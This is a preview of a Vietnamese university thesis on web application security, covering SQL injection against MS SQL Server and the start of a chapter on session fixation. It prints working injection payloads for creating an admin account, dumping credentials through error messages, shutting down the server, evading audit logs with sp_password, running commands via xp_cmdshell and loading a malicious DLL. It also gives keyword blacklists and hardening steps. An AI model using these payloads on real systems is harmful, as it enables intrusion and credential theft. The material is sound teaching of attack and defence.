Cũng theo CERT, những cuộc tấn công thời kỳ1988-1989 chủyếu là đoán tên người
sửdụng-mật khẩu (UserID/password) hoặc sửdụng một sốlỗi của các chương trình và
hệ điều hành (security hole) làm vô hiệu hệthống bảo vệ, tuy nhiên các cuộc tấn công
vào thời gian gần đây còn bao gồm cảcác thao tác nhưgiảmạo địa chỉIP, theo dõi
thông tin truyền qua mạng, chiếm các phiên làm việc từxa (telnet hoặc rlogin), cài
trojan hay worm đểkiểm soát hay điều khiển máy tính vì thế, nhu cầu bảo vệthông
tin trên Internet là cần thiết nhằm mục đích bảovệdữliệu, bảo vệthông tin người dùng
và bảo vệhệthống.
Khi nói đến vấn đềbảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sựan
toàn của hệthống mạng và hệ điều hành. Đểbảo vệcho hệthống, phương pháp thường
được chọn là sửdụng firewall. Tuy nhiên, theo tuyên bốcủa CSI/FBI : 78% nơi bịhại
có sửdụng firewall và 59% thì bịtấn công thông qua Internet, cụthểhơn là theo báo
cáo của CSI/FBI Computer Crime vàSecurity Survey thì tổng sốthiệt hại do những
ứng dụng Webbịtấn công từnăm 1997 đến năm 2000 là 626 triệu đôla Mỹ.
SYS
169 trang |
Chia sẻ: huong.duong | Lượt xem: 1253 | Lượt tải: 1
Bạn đang xem trước 20 trang tài liệu Đề tài Nghiên cứu một sốvấn đềvềbảo mật ứng dụng web trên internet, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào
bảng User.
Ví dụ 6.III.4-5:
Username:’; insert into User(tkUsername,tkPassword) values
(‘admin’, ‘’)--
Hacker thêm nội dung như Ví dụ 6.III.4.2.4 bây giờ trở thành người quản trị mạng
mà không cần mật khẩu để chứng thực.
Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong
bảng User:
• Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường
tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng
mới là foo có một trường là ret bằng đoạn mã sau:
create proc test
as
begin
declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User
select @ret as ret into foo
end
Thực thi câu lệnh bằng cách nhập vào form.
Username:’;Create proc test as begin declare @ret
varchar(8000) set @ret=’:’ select @ret=@ret+'
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 66-
'+tkUsername+'/'+tkPassword from User select @ret as ret into
foo
• Bước 2: Gọi Stored procedure đó
Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm:
Username:’;exec test
• Bước 3: Dùng UNION để xem nội dung bảng foo
Username:’;select ret,1 from foo union select 1,1 from foo
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error convertingthe varchar value ':
admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'
to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên
tkUsername và mật khẩu tkPassword.
• Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foo để xoá dấu vết:
Username: ‘; drop table foo--
Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User,
còn một phương pháp tìm kiếm thông tin như sau:
• Bước 1:
Tìm tuần tự từng dòng trên bảng User
Username:’union select 1,1
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 67-
hoặc :
Username:’union select min(tkUsername),1 from User where
tkUsername> ’a’--
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value 'admin' to a column of data type
int.
Người đầu tiên trong bảng User là “admin”.
• Bước 2:
Để biết các giá trị tiếp theo, nhập chuỗi sau:
Username:’;select min(tkUsername),1 from User where
tkUsername> ’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting
the varchar value 'nhimmap' to a column of data type int.
• Bước 3:
Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername
trong bảng User.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 68-
• Bước 4:
Để biết thêm về tkPasswork, có thể thực hiện như sau:
Username:’;select tkPassword,1 from User where tkUsername=
’admin’union select 1,1 from User
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting
the varchar value 'passOfAdmin' to a column of data type int.
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến
bảng hệ thống INFORMATION_SCHEMA.TABLES.
Ví dụ 6.III.4-8:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên
server. Trường TABLE_NAME chứa tên của mỗi table trong cơ sở dữ liệu.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='User'
Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng.
Ngoài ra còn có thể dùng UNION để biết các biến môi trường của SQL Server.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 69-
Ví dụ 6.III.4-9: Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng
cách sau:
Username:’;select @@SERVERNAME union select 1
Lỗi phát sinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'KHOAI_NGU' to a column of
data type int.
III.5. Tấn công dưa vào lệnh INSERT
Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu
lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử
dụng, guestbook…v..v…
Kĩ thuật “;”, “--“ được dùng như đã từng dùng với câu lệnh SELECT, phải đảm
bảo đúng số lượng và kiểu giá trị được nhập vào nhằm tránh lỗi về cú pháp (nếu
không xác định được kiểu dữ liệu có thể nhập tất cả là số).
Ví dụ 6.III.5-1:
SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” &
strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 70-
III.6. Tấn công dưa vào STORED PROCEDURE
Stored Procedure được sử dụng trong lập trình Web với mục đích giảm sự phức
tạp trong ứng dụng và tránh sự tấn công trong kĩ thuật SQL Injection. Tuy nhiên
hacker vẫn có thể lợi dụng những Stored Procedure để tấn công vào hệ thống.
Ví dụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và
password. Nếu nhập:
Username: nhimmap
Password: ‘;shutdown--
Lệnh gọi stored procedure như sau:
exec sp_login ‘nhimmap’,‘’;shutdown--’
Lệnh shutdown thực hiện dừng SQL Server ngay lập tức.
III.7. Nâng cao
III.7.1. Chuỗi kí tự không có dấu nháy đơn:
Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả
dấu nháy, thông thường loại bỏ dấu nháy bằng cách thay một dấu nháy thành 2
dấu nháy.
Ví dụ 6.III.7.1-1:
Function escape (input)
Input=replace(input, “’”, “’’”)
escape=input
end function
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 71-
Rõ ràng là, nó ngăn chặn được tất cả những kiểu tấn công trên. Tuy nhiên nếu
muốn tạo ra một chuỗi giá trị mà không dùng các dấu nháy, có thể dùng hàm
“char()” như ví dụ sau:
Ví dụ 6.III.7.1-2:
INSERT into User VALUES(666, char(0x63) +char(0x68)
+char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68)
+char(0x72) +char(0x69) +char(0x73),0xffff)
Ví dụ 6.III.7.1-3 trên tuy là một câu truy vấn không có dấu nháy đơn nào
nhưng nó vẫn có thể insert chuỗi vào bảng, và tương đương với:
INSERT into User VALUES( 666,’chris’,’chris’,255)
Hacker cũng có thể chọn username , password là số để tránh dấu nháy như ví
dụ sau:
Ví dụ 6.III.7.1-4:
INSERT into User VALUES( 667,123,123,0xffff)
SQL server sẽ tự động chuyển từ số sang chuỗi.
III.7.2. Tấn công 2 tầng
Mặc dù ứng dụng đã thay thế dấu nháy đơn nhưng vẫn còn khả năng bị chèn
đoạn mã SQL .
Ví dụ 6.III.7.2-1: Để đăng kí account trong ứng dụng, nhập username như sau:
Username: admin'—
Password: passofadmin
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 72-
Ứng dụng sẽ thay thế dấu nháy, kết quả trong câu insert sẽ như sau:
INSERT into User VALUES(123, 'admin''--', 'password',0xffff)
(nhưng trong cơ sở dữ liệu sẽ lưu là “admin’--“)
Giả sử rằng ứng dụng cho phép người dùng thay đổi mật khẩu. Các đoạn mã
ASP được thiết kế đảm bảo rằng người sử dụng phải nhập đúng mật khẩu cũ
trước khi nhập mật khẩu mới. Đoạn mã như sau:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username
+ "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{…
Câu truy vấn thiết lập mật khẩu mới như sau:
sql = "update users set password = '" + newpassword + "' where
username= '" + rso("username") + "'"
rso(“username”) chính là giá trị username có được câu truy vấn login và nó là
admin’--
Câu truy vấn lúc này như sau:
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 73-
update users set password = 'password' where username =
'admin'--'
Nhờ đó hacker có thể thay đổi mật khẩu của admin bằng giá trị của mình.
Đây là 1 trường hợp còn tồn tại trong hầu hết những ứng dụng lớn ngày nay có
sử dụng cơ chế loại bỏ dữ liệu. Giải pháp tốt nhất là loại bỏ những giá trị lỗi
hơn là chỉnh sửa lại. Nhưng có một vấn đề là có một số ô nhập dữ liệu (như ô
nhập tên) cho phép những kí tự này. Ví dụ: O’Brien.
Cách tốt nhất để giải quyết vấn đề này là không cho phép nhập dấu nháy đơn.
Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên.
Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào
câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm
soát một cách chặt chẽ.
Một số ứng dụng phòng chống việc thêm câu truy vấn từ người dùng bằng
cách giới hạn chiều dài của ô nhập. Tuy nhiên, với giới hạn này thì một số
kiểu tấn công không thể thực hiện được nhưng vẫn có chỗ hở để hacker lợi
dụng.
Ví dụ 6.III.7.2-2:
Giả sử cả username và password đều bị giới hạn tối đa là 16 kí tự. Nhập:
Username: aaaaaaaaaaaaaaa’
Password :‘; shutdown--
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 74-
Ứng dụng sẽ thay thế một dấu nháy đơn bằng hai dấu nháy đơn nhưng do
chiều dài chuỗi bị giới hạn chỉ là 16 kí tự nên dấu nháy đơn vừa được thêm sẽ
bị xoá mất. Câu lệnh SQL như sau:
Select * from users where username=’aaaaaaaaaaaaaaa’’ and
password=’’’; shutdown—‘
kết quả là username trong câu lệnh có giá trị là:
aaaaaaaaaaaaaaa’ and password=’
III.7.3. Tránh sự kiểm soát:
SQL server có một giao thức kiểm soát chặt chẽ bằng họ hàm sp_traceXXX,
cho phép ghi nhân nhiều sự kiện xảy ra trong cơ sở dữ liệu. Đặc biệt là các sự
kiện T-SQL, ghi nhận lại tất cả các câu lệnh SQL thực hiện trên Server. Nếu
chế độ kiểm soát được bật thì tất cả các câu truy vấn SQL của hacker cũng bị
ghi nhận và nhờ đó mà một người quản trị có thể kiểm soát những gì đang xảy
ra và nhanh chóng tìm ra được giải pháp. Nhưng cũng có một cách để chống
lại điều này, bằng cách thêm dòng “sp_password” vào câu lệnh T-SQL, vì khi
gặp chuỗi này thì việc kiểm tra sẽ ghi nhận như sau:
-- ‘sp_password’ was found in the text of this event.
-- The text has benn replaced with this comment for security
reasons.
ngay cả khi “sp_password” xuất hiện trong phần chú thích.
Vì thế để dấu tất cả câu truy vấn tấn công, chỉ cần đơn giản là thêm
sp_password vào sau ‘--’ như sau:
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 75-
Username:admin’--sp_password
III.7.4. Dùng Extended Stored Procedure
III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống
SQL Server
Nếu cài SQL Server ở chế độ mặc định thì SQL Server chạy trên nền
SYSTEM, tương đương mức truy cập ở Windows. Có thể dùng
master..xp_cmdshell để thi hành lệnh từ xa:
; exec master..xp_cmdshell 'ping 10.10.1.2'--
Thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dưới đây là một số extended stored procedure mà hacker thường hay sử
dụng để thực thi những câu lệnh xem nội dung thông tin trong máy nạn
nhân:
Xp_availablemedia hiển thị những ổ đĩa hiện hành trên máy
Xp_dirtree hiển thị tất cả các thư mục kể cả thư mục con
Xp_loginconfig Lấy thông tin về chế độ bảo mật trên server
Xp_makecab cho phép người sử dụng tạo các tập tin lưu trữ trên
Server (hay bất cứ tập tin nào mà server có thể truy x
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 76-
n
III.7.4.2. Dùng Extended Stored Procedure tự tạo
Extended stored procedure API là một chương trình có một nhiệm vụ đơn
giản là tạo ra một DLL extended stored porcedure chứa đựng đoạn mã nguy
hiểm. Để đưa tập tin DLL lên Server có thể dùng các câu lệnh, hoặc các kĩ
thuật giao tiếp khác nhau được thực hiện tự động, như là HTTP download và
FTP script.
Một khi tập tin DLL đã tồn tại trên máy chủ, thì hacker có thể tạo một
extended stored procedure bằng dòng lệnh sau :
Ví dụ 6.III.7.4.2-1:
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\xp_foo.dll’
Sau đó có thể thực thi nó như là thực thi extended stored procedure thông
thường :
exec xp_webserver
Khi đã thực hiện xong, có thể xoá bằng lệnh sau:
sp_dropextendedproc ‘xp_webserver’
Xp_ntsec_enumdomain liệt kê những domain mà server có thể truy vấn.
Xp_terminate_process chấm dứt một tiến trình với tham số PID của nó.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 77-
III.7.4.3. Nhập tập tin văn bản vào bảng
Dùng lệnh ‘bulk insert’, nhập dữ liệu từ một tập tin văn bản vào trong một
bảng tạm thời.
Ví dụ 6.III.7.4.3-1:Ví dụ tạo một bảng đơn giản như sau:
create table foo (line varchar(8000))
Sau đó chạy câu lệnh bulk insert để chép dữ liệu từ tập tin vào bảng
Ví dụ 6.III.7.4.3-2:
bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’
Nội dung trang process_login.asp có thể lấy về bằng cách dùng những kĩ
thuật như trong Ví dụ 6.III.7.4-3.
IV. CÁCH PHÒNG CHỐNG
• Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước
khi được sử dụng.
• Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc
phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người
dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển
thiết kế mỗi khi lỗi xảy ra trên ứng dụng.
• Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v..
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 78-
• Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ...
trong các string nhận được từ:
o dữ liệu nhập do người dùng đệ trình
o các tham số từ URL
o các giá trị từ cookie
• Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu
truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
• Dùng thuật toán để mã hoá dữ liệu
IV.1. Kiểm tra dữ liệu
Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được
quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính
đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng,
mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích.
Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng với
ví dụ mẫu để minh hoạ cho vấn đề này.
Có ba giải pháp tiếp cận vấn đề này:
1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ.
2) Loại bỏ những dữ liệu bất hợp lệ.
3) Chỉ chấp nhận những dữ liệu hợp lệ
? Giải pháp 1: khó thực hiện
Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ,
bởi vì những dạng dữ liệu bất hợp lệ rất đa dạng.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 79-
Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL
injection) trong việc lấy dữ liệu từ hệ thống ra.
? Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do :
Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn
công mới.
? Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài
đặt.
Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần
thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington”
phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi
kí tự “--“ là một chuỗi kí tự đặc biệt trong SQL server.
Ví dụ nếu có bộ lọc để :
• Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’
• Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau.
uni’on se’lect @@version-‘-
Một số cách cài đặt các chức năng kiểm tra dữ liệu cơ bản
Cách 1: Thay thế dấu nháy đơn:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 80-
Cách 2: Từ chối dữ liệu bất hợp lệ
function validate_string( input )
known_bad = array( "select", "insert", "update",
"delete", "drop","--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare )
0 )
then
validate_string = false
exit function
end if
next
end function
Cách 3: Chỉ chấp nhận dữ liệu hợp lệ
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 81-
IV.2. Khoá chặt SQL Server (SQL Server Lockdown)
Luận văn cũng giới thiệu một phương pháp bảo mật ở mức độ quản trị cơ sở dữ
liệu.
Đây là một danh sách các công việc cần làm để bảo vệ SQL server:
• Xác định các phương pháp kết nối đến server:
o Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng
đang dùng là hoat động.
• Kiểm tra tất cả các tài khoản có trong SQL Server
o Chỉ tạo tài khoản có quyền thấp cho các ứng dụng
o Loại bỏ những tài khoản không cần thiết
o Đảm bảo rằng tất cả tài khoản có một mật khẩu hợp lệ, …
• Kiểm tra các đối tượng tồn tại
o Nhiều extended stored procedure có thể được xoá bỏ một cách an toàn.
Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn
những tập tin .dll chứa mã của các extended stored procedure
o Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs”
o Xóa các stored procedure không dùng như: master..xp_cmdshell,
xp_startmail, xp_sendmail, sp_makewebtask
• Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào
o Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở
dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất
đến những đối tượng nó cần dùng.
Khoa CNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
-Trang 82-
• Kiểm tra lớp sửa chữa của server
o Có một số cách tấn công như “buffer overflow”, “format string” thường
chú ý đến lớp bảo vệ này.
• Kiểm tra các phiên làm việc trên server
• Thay đổi "Startup và chạy SQL Server" ở mức người dùng quyền hạn thấp
trong SQL Server Security.
Nhận xét:
- Qua chương 6 này, càng thấy rằng việc kiểm tra dữ liệu trước khi xử lý là cần thiết.
- Ứng dụng ngoài việc kiểm tra tính đúng đắn của dữ liệu, cần mã hóa dữ liệu ngay
bên trong cơ sở dữ liệu và không cho xuất trang Web lỗi, báo nội dung lỗi cú pháp
SQL để hacker không thể thu thập thông tin cơ sở dữ liệu.
- Song song đó là công việc của người quản trị mạng.
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 83-
Chương 7
CHIẾM HỮU PHIÊN LÀM VIỆC
Nội dung:
I. Tổng quan về SessionID
II. Ấn định phiên làm việc
III. Đánh cắp phiên làm việc
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 84-
CHƯƠNG 7: CHIẾM HỮU PHIÊN LÀM VIỆC
??
I. TỔNG QUAN VỀ SESSIONID
Như đã đề cập đến Session trong chương 2 phần III, session dùng để lưu trữ trạng
thái làm việc giữa trình duyệt và trình chủ. Session ID có thể được lưu trữ trong
cookie hay được nhúng vào địa chỉ URL hay trong biến ẩn của form.
Mỗi kiểu lưu trữ đều có ưu và khuyết điểm, nhưng qua thực tế cookie vẫn là lựa chọn
tốt nhất, và là phương pháp an toàn nhất.
Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá
nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho
những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho
những hacker. Trong nhiều trường hợp, hacker giành được session ID hợp lệ của
người dùng để từ đó đột nhập vào phiên làm việc của họ.
XSS cũng là một cách tấn công có thể chiếm được session ID lưu trữ trong cookie.
Cách tấn công này gọi là “session hijacking”.
Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau:
• Ấn định phiên làm việc
• Đánh cắp phiên làm việc
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 85-
II.ẤN ĐỊNH PHIÊN LÀM VIỆC
Trong kiểu tấn công ấn định một phiên làm việc, hacker ấn định sẵn session ID cho
nạn nhân trước khi họ đăng nhập vào hệ thống. Sau đó, hacker sẽ sử dụng session ID
này để buớc vào phiên làm việc của nạn nhân đó.
Tóm tắt quá trình tấn công:
• Bước 1: Thiết lập session ID.
Hệ thống quản lí session theo 2 hướng:
+ Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session thì tạo
mới một session ID
+ Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó.
Với hệ thống hướng tự do hacker chỉ cần thiết lập một session ID bất kì, nhớ và
sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí một
session ID với ứng dụng.
Phụ thuộc vào qui trình quản lí phiên làm việc mà hacker lưu trữ thời gian sống
của phiên làm việc cho đến khi nạn nhân đăng nhập vào hệ thống. Thông thường
một phiên làm việc không tồn tại vô hạn định. Hệ thống sẽ tự động hủy bỏ phiên
làm việc nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi ) hoặc hết
hạn định.
Do đó bước 1a là kẻ tấn công sẽ bảo trì phiên làm việc bằng cách gửi yêu cầu đến
server.
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 86-
Hình 7.II-1: Sơ lược quá trình tấn công người dùng bằng kĩ thuật ấn định session
• Bước 2: Gởi ID này đến trình duyệt nạn nhân.
Hacker gửi session ID vừa tạo đến người dùng và việc trao đổi ID session còn tùy
vào ứng dụng mà có thể qua URL, biến ẩn form hay cookie. Các cách tấn công
thông dụng gồm:
o Tấn công session ID trên tham số URL.
o Tấn công session ID bằng biến ẩn form.
o Tấn công session ID trong cookie.
• Bước 3: Đột nhập vào phiên làm việc của nạn nhân.
Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn và
chưa thoát khỏi ứng dụng, hacker lúc này bắt đầu dùng session ID đó để bước vào
phiên làm việc của nạn nhân.
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 87-
Hình 7.II-2: Mô tả chi tiết quá trình thực hiện tấn công người dùng
bằng kĩ thuật ấn định phiên làm việc.
Tiếp theo luận văn sẽ trình bày về các cách tấn công session ID trong bước 2.
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 88-
II.1. Tấn công Session ID trên tham số URL
Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với
sessionID đã được ấn định sẵn trên URL.
Ví dụ 7.II.1-1:
Hình 7.II.1-1: Tấn công thông qua tham số URL
1. Hacker mở dịch vụ trực tuyến của ngân hàng thông qua địa chỉ
online.worldbank.com
2. Nhận được một session ID từ trình chủ để xác định phiên làm việc của
hacker. Ví dụ session ID có giá trị là 1234.
3. Sau đó hacker sẽ tìm cách gửi một liên kết đến một người dùng nào đó có tài
khoản trong ngân hàng này. Những liên kết đó thường là dẫn đến trang đăng
nhập vào tài khoản trong ngân hàng ví dụ liên kết là
để lừa người dùng làm
việc trong phiên làm việc của hackerkhi người dùng nhận được liên kết này,
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 89-
4. Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker. Do đã
có session ID (của hacker) nên trình chủ sẽ không tạo một session ID mới.
5. Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài
khoản.
6. Khi đó hacker sẽ vào tài khoản của người dùng mà không cần phải đăng nhập
vì có cùng phiên làm việc.
Nhận xét: Cách tấn công này đòi hỏi ứng dụng phải tạo session ID ngay khi người
dùng sử dụng ứng dụng. Dễ bị phát hiện bởi người dùng.
II.2. Tấn công Session ID trong biến ẩn form
Kĩ thuật này cũng tương tự như kĩ thuật biến ẩn form, nghĩa là sau khi hacker xem
mã HTML của trang Web, nhận thấy session ID được đặt trong biến ẩn form,
hacker sẽ gửi một sessionID cũng trên URL đến người dùng hoặc một trang Web
giống trang đích nhưng với biến ẩn form mang giá trị ấn định sẵn.
Nhận xét: Phương pháp này cũng không khả thi và cũng dễ bị phát hiện như
phương pháp trên.
II.3. Tấn công Session ID trong cookie
Bằng việc lợi dụng cookie, hacker có ba cách để đưa một session ID đến trình
duyệt của nạn nhân:
• Sử dụng ngôn ngữ kịch bản( Javascript, VBscript..) để thiết lập một cookie
trong trình duyệt của nạn nhân.
• Sử dụng thẻ để thiết lập thuộc tính Set-Cookie
• Sử dụng Set-Cookie của HTTP header trả lời
Khoa CNTT
Chương 7: Chiếm hữu phiên làm việc
-Trang 90-
Cụ thể là:
a) Thiết lập một cookie trên trình duyệt bằng ngôn ngữ kịch bản:
Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình duyệt như
Javascript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie cho trình
duyệt bằng cách thiết lập giá trị “ document.cookie”.
Ví dụ 7.II.3-1:
“sessionid=1234; domain= .workbank.com”;.idc
Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain cookie…
và cách này phù hợp với những hệ thống hướng “tự do”. Ví dụ domain nào thuộc
.workbank.com đều có thể đọc được giá trị cookie này.
b) Dùng thẻ với thuộc tính Set-Cookie:
Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ trong
HTML.
Ví dụ 7.II.3-2:
Meta tag Injection (Thêm thẻ meta):
Các file đính kèm theo tài liệu này:
- CNTT1027.pdf